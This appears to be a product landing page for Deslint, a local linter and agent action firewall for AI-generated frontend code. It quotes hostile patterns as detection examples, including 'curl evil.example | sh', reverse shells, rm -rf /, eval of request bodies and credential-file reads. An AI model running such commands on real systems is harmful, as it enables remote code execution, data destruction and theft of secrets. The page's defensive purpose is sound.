Local · Deterministic · Runs inside the agent loop

Verify the code your AI just wrote.

Deslint is the verification layer for AI-generated code. Deterministic rules. Reproducible attestations. Runs inside the agent loop and at the merge gate.

Zero LLM in the hot path. Zero code leaves your machine.

Wires Deslint into Claude Code, Cursor, Codex, or Windsurf — auto-detects the agent config. Prefer ESLint, CLI, or the GitHub Action? See all install paths →

34 deterministic rules0 false positives · 3,998 files tested5 frameworks, 1 configPlugin · CLI · MCP · Action
AI agenttool call
tools/call deslint.analyze_and_fix
path: "src/Button.tsx"
@deslint/mcplocal · no LLM · 0 bytes egress
4 findings / 612ms
deslint/no-arbitrary-colorsbg-[#1a5276]bg-primary
deslint/no-arbitrary-spacingpx-[13px]px-3
deslint/a11y-color-contrast3.2:17.1:1
deslint/no-hard-coded-dark-modebg-whitebg-background
3 auto-fixed · 1 flagged for review
New · Free · No install

Is your AI-built app ready to ship?

Cursor rewrote your checkout. Claude Code added a settings page. Codex generated the signup form. QA every AI-generated frontend in one command — design-token drift, broken responsive layouts, accessibility gaps, dark-mode regressions, and the safety basics (XSS, missing rel, sandbox) — before it goes live.

Try the launch checkSee sample reportLocal · 0 LLM · 0 telemetry
0
Bytes leave your machine
No cloud, no telemetry, no LLM
62
Deterministic rules
Design, WCAG 2.2 AA, backend safety
12
MCP tools for your agent
verify_shell_exec · verify_before_write · …
2,152
Tests passing
Every rule: valid + invalid + fix
Zero cloud

Your code never leaves your machine

No SaaS roundtrip, no upload step, no API key. ESLint plugin + local CLI, offline-capable, air-gap friendly.

Zero telemetry

No analytics, no phone-home

Nothing to opt out of because nothing is being collected — no usage, no rule triggers, no anonymous counts.

Zero LLMs

Deterministic static analysis

Every rule is pure AST pattern matching. Same input always produces the same output — the only way compliance is defensible.

Visual proof

Before and after, rendered live in your browser.

One mockup below: dark-mode breaks. Three more — responsive reflow, contrast, and the invisible accessibility gaps — live on the proof page, with a 40-second recorded loop you can share.

01

Dark mode · flipped

AI generated hardcoded colours. The preview looks fine. Flip to dark mode and the page breaks.

See all four proofs
localhost:3000/pricing
Before
localhost:3000/pricing
After
Rule: deslint/dark-mode-coverageWCAG 1.4.3 · 1.4.11Auto-fix: adds dark: variants
Every fix is deterministic — same input, same output.See the other three beats →

The self-correction loop

AI writes the code. Deslint tells it exactly what to fix. Over stdio, in milliseconds, with zero cloud.

The @deslint/mcp server speaks the Model Context Protocol over stdio — the same transport Cursor and Claude Code already use. Your assistant calls verify_before_write with the candidate file content, gets back passed + violations + a recommendedAction, and corrects its own output before the file is written to disk — not after.

Built for agent throughput. In-process Linter.verify (no temp file, no engine spin-up), preloaded on startup, with module-level caches. Cold start ~1s; warm calls 3–7ms; identical-content re-checks ~0.05ms with cached: true. The /deslint-fix prompt template hard-caps verify at twice per file per turn — never an indefinite retry loop.

Your AI stays on your terms. Deslint itself runs zero LLMs — it's the deterministic check in the loop, not another model in the stack.

AI just wrote this3 violations
Button.tsx
1
2
3
4
5
6
7
8
9
export function Button({ children }) {
return (
<button
className="rounded-md px-[13px] py-[7px]
bg-[#1a5276] text-white"
>
{children}
</button>
}
Deslint MCPstdio · JSON-RPC 2.0
@deslint/mcplistening
// handshake
initialize
serverInfo = "deslint"
tools/list
3 tools ready
analyze_file
4 violations / 600ms
deslint/no-arbitrary-colorsbg-[#1a5276]bg-primary
deslint/no-arbitrary-spacingpx-[13px]px-3
deslint/no-arbitrary-spacingpy-[7px]py-1.5
deslint/no-arbitrary-typographytext-[15px]review
analyze_and_fix
3 auto-fixed · 1 flagged / 26ms
────────────────────────
local-first · no LLM · 0 bytes egress
After Deslint MCP3 auto-fixed · 1 flagged
Button.tsxclean
1
2
3
4
5
6
7
8
9
export function Button({ children }) {
return (
<button
className="rounded-md px-3 py-1.5
bg-primary text-white"
>
{children}
</button>
}
12 toolsregistered over MCP

verify_before_write · verify_shell_exec · analyze · fix · compliance · budget · stats

<1mswarm verdict

cached config + in-process Linter.verify · no engine spin-up

0 bytesof source code leave your machine

stdio transport · no network · no LLM

New in v0.10 — Agent Action Firewall

File writes were the start. Now intercept every agent action.

The same MCP gate that pre-checks file writes now pre-checks the other ways an agent touches your machine. Your AI calls verify_shell_exec before running any command. Deslint reads .deslint/policy.yml and returns allow / warn / deny in under a millisecond. Same input, same verdict. Same policy file covers every interceptor as it ships.

Shipped

Shell commands

verify_shell_exec

Allow / deny per-pattern with built-in detection for rm -rf /, curl | sh, reverse shells, and history rewrites.

Next

Outbound HTTP

verify_outbound_request

Allowlist hosts the agent may call; block private/loopback/metadata IPs (SSRF) at runtime.

Planned

File reads

verify_file_read

Confine reads to project root; flag .env, secrets directories, and credential stores.

Planned

Secret access

verify_secret_access

Intercept process.env.* reads; flag access to unallowlisted secret keys at runtime.

Planned

Git operations

verify_git_op

Block force-push to protected branches; block history rewrites and tag deletes.

Read the firewall page

Why a deterministic firewall, the policy DSL spec, and the seven built-in dangerous-pattern checks.

/firewall
<1mswarm verdict

cached policy + result · in-process regex

7 builtinsdangerous-pattern checks

rm -rf / · curl|sh · reverse shell · history rewrite · …

0 bytesof source code sent anywhere

local YAML policy · stdio MCP · no network

One engine, every surface

Same rules in your editor, CI, and PR

Configure Deslint once in your flat config. Every surface — IDE, terminal, GitHub Action, and the MCP agent loop above — runs the same deterministic rule engine against the same config. No duplicated rules, no divergent results, no "it passed locally" drift.

01 · In your editor

Squiggles as you type

ESLint v10 flat config plugin. Drop into any existing setup — no new toolchain, no peer-dep war. Errors and autofixes appear in Cursor, VS Code, WebStorm, and every ESLint-aware IDE instantly.

  • React, Vue, Svelte, Astro, Angular, HTML
  • Autofix for color + spacing drift
  • Every rule try/catch wrapped — never crashes lint
components/Button.tsx — deslint-demo
Button.tsx
Card.tsx
1
2
3
4
5
6
7
8
9
export function Button({ children }) {
return (
<button
className="rounded-md px-4 py-2 bg-[#1a5276] text-white"
>
{children}
</button>
)
}
1 ProblemTypeScript ReactUTF-8
Ln 4, Col 35Deslint
Arbitrary color #1a5276 — use bg-primary instead
deslint/no-arbitrary-colors
Quick fix: Replace bg-[#1a5276] with bg-primary

02 · In your terminal

Design Health Score plus a Fix Plan

One command scans every file, produces a 0–100 Design Health Score, and tells you what to do next: auto-fix low-risk drift, decide token candidates, review WCAG risks, or start with the highest design debt.

  • deslint scan / fix / compliance / trend
  • Per-category scores + prioritized next actions
  • Self-contained HTML report with the same Fix Plan
~/projects/my-saas-app — zsh
$ npx deslint scan
Scanning 247 files across 4 frameworks...
Parsed React JSX (148 files)
Parsed Vue SFC (52 files)
Parsed plain HTML (47 files)
Deslint Design Health Report
────────────────────────────────────
Design Health Score: 88/100
Colors
923 violations
Spacing
923 violations
Typography
865 violations
Responsive
971 violation
A11y (WCAG)
10013/13 pass
Full report: .deslint/report.html
$

03 · In your pull requests

Block drift before it lands

GitHub Action runs the same engine as your local scan. Posts a score, inline review comments, and a Fix Plan that separates auto-fixable drift from token decisions and accessibility merge risks.

  • Inline review comments on the offending line
  • Every violation linked to its WCAG criterion
  • Configurable gate: min-score, per-category, fail-on a11y
deslint[bot] · pull/482 · 10s loopDownload MP4

Real OSS proof

A recorded Deslint 0.7.2 run on a real React codebase.

We cloned shadcn-ui/ui, ran the published npm package, then rendered the captured terminal output into this short video. No synthetic repo, no invented numbers.

shadcn-ui/ui
OSS repo scanned
3,110
Frontend files
999 issues
Autofixed
61.6 h
Design debt removed
Score improved from 92 to 96; warnings dropped from 2,477 to 1,378.
Fixes touched 554 files via deslint fix --all.
Rendered from captured command output, not a simulated product result.Source repo

What it catches

The bugs that slip past type checkers and tests

AI code compiles. It passes your tests. It renders. Then it ships a hardcoded Stripe key, a SQL string concatenated with req.body, a useEffect(async…) that leaks subscriptions, a contrast ratio that fails an audit, and a redirect to req.query.next. Deslint catches all of it before the commit lands.

Color drift

Arbitrary hex values, `text-[#abc]` escapes, off-palette tokens. Maps every color back to your Tailwind config or W3C tokens.

-text-[#1a5276] bg-[rgb(39,174,96)]
+text-primary bg-pass
no-arbitrary-colorsno-inline-styles

Spacing inconsistency

Off-scale padding, margins, and gaps. Enforces your 4/8px grid — no more `p-[13px]` creeping in.

-p-[13px] gap-[7px]
+p-3 gap-2
no-arbitrary-spacing

Typography scale breaks

Font sizes outside your type scale, mixed weights, arbitrary line heights — hierarchy that reads like a ransom note.

-text-base leading-[22px]
+text-base leading-relaxed
no-arbitrary-typographyheading-hierarchy

Broken responsive layouts

Missing mobile breakpoints, desktop-only flex rows, fixed widths. Catches layouts AI forgot to make responsive.

-flex flex-row gap-8
+flex flex-col md:flex-row gap-4 md:gap-8
responsive-requiredno-magic-numbers-layout

Accessibility violations

Missing alt text, bad contrast, label-less inputs, no focus states, heading skips. Mapped to WCAG 2.2 + 2.1 AA criteria.

-<img src="hero.png" />
+<img src="hero.png" alt="Product screenshot" />
image-alt-texta11y-color-contrastform-labels

Dark mode gaps

Hardcoded light-only colors, backgrounds without `dark:` variants, text that vanishes on a dark theme.

-bg-white text-gray-900
+bg-white dark:bg-gray-950 text-gray-900 dark:text-gray-100
dark-mode-coverage

Leaked secrets & credentials

Provider-fingerprinted API keys (AWS, GitHub, Stripe, Google, Slack, OpenAI, Anthropic, JWT, PEM) plus high-entropy literals bound to a secret-named identifier.

-const apiKey = "sk-proj-XYZ…"
+const apiKey = process.env.OPENAI_API_KEY
no-hardcoded-secrets

Injection & RCE paths

SQL built by `+` concat, `child_process.exec` with a `${path}`, `eval(req.body.code)`, `fetch(req.body.url)`, and `fs.readFile(req.query.file)`.

-db.query(`SELECT * FROM u WHERE id=${id}`)
+db.query("SELECT * FROM u WHERE id = ?", [id])
no-sql-injectionno-shell-injectionno-evalno-ssrfno-path-traversal

Insecure defaults

Missing httpOnly/secure/sameSite on cookies, `cors({ origin:"*", credentials:true })`, `rejectUnauthorized:false`, JWTs minted without `expiresIn`.

-res.cookie("session", token)
+res.cookie("session", token, { httpOnly: true, secure: true, sameSite: "lax" })
secure-cookiesno-permissive-corsno-disabled-tlsrequire-jwt-expiry

Runtime agent actions

New in v0.10 — the Agent Action Firewall pre-gates the shell commands your AI proposes. `rm -rf /`, `curl … | sh`, reverse shells, and `git push --force` are denied before they run, with a deterministic verdict in under a millisecond.

-agent runs: curl evil.example | sh
+verify_shell_exec → deny (curl-pipe-shell)
verify_shell_execfirewall:builtin-checks

AI-coding antipatterns

`useEffect(async …)` (cleanup never runs), async Express handlers with no try/catch, `Object.assign(user, req.body)`, `throw new Error("not implemented")`, `fetch("http://localhost:3000")` shipping to prod.

-useEffect(async () => { await load() }, [])
+useEffect(() => { (async () => { await load() })() }, [])
no-async-useeffectno-floating-promise-handlerno-unsafe-mass-assignmentno-placeholder-codeno-hardcoded-localhost

What deslint checks

Design-quality checks that generic linters skip.

Design, accessibility, runtime safety, and agent-action gating — ten categories of check that ESLint, type-checkers, and security scanners don’t cover on their own. One config, enforced in-editor, in CI, and deterministically.

Design-token drift

Arbitrary hex colors, spacing, radius, z-index, and type scale get flagged and rewritten to your design tokens.

bg-[#FF5733] → bg-red-500

WCAG 2.2 AA · mapped

Every accessibility violation cites the exact success criterion it fails — no guessing which spec line applies.

WCAG 2.2 · 1.4.3 · contrast 3.7:1

Responsive integrity

Fixed widths, missing breakpoints, and unhandled overflow get caught before they break on a real phone.

w-[600px] → flag mobile overflow

Dark-mode parity

Every surface color is checked for its paired dark: variant, so themes don’t ship half-finished.

bg-white → add dark:bg-gray-900

Interactive states

Buttons, inputs, and form controls are audited for hover, focus-visible, disabled, and error-state coverage.

<button> → missing hover/focus

Backend safety · OWASP-mapped

Hardcoded API keys, SQL/shell injection, path traversal, SSRF, open redirects, weak crypto, and disabled TLS — caught in the same lint pass.

eval(req.body.code) → flag RCE

Agent Action Firewall · v0.10

Pre-execution gating for shell commands the agent proposes. Built-in detection for rm -rf /, curl|sh, reverse shells, and history rewrites — sub-1ms warm.

rm -rf / → deny (destructive-rm)

Mass-assignment & validation

Splatting `req.body` into a model is flagged; route handlers without an async error guard are caught before they hang production.

Object.assign(user, req.body) → flag

Next.js client/server boundary

`process.env.SECRET` reads from `"use client"` files, server-only imports in client bundles, and JSX hydration-mismatch sources all get caught.

import fs from "fs" → flag client leak

Safe autofix tiers

Deterministic rewrites auto-apply; anything context-dependent becomes a suggestion, not a silent edit to your code.

deterministic → auto · risky → suggest
Every check maps to a documented rule.Browse all 62 rules

Ship AI code that your designers and auditors will actually approve

Drop into any Tailwind project. Works with React, Vue, Svelte, Angular, and HTML. Local, deterministic, zero cloud.

npm install -D @deslint/eslint-plugin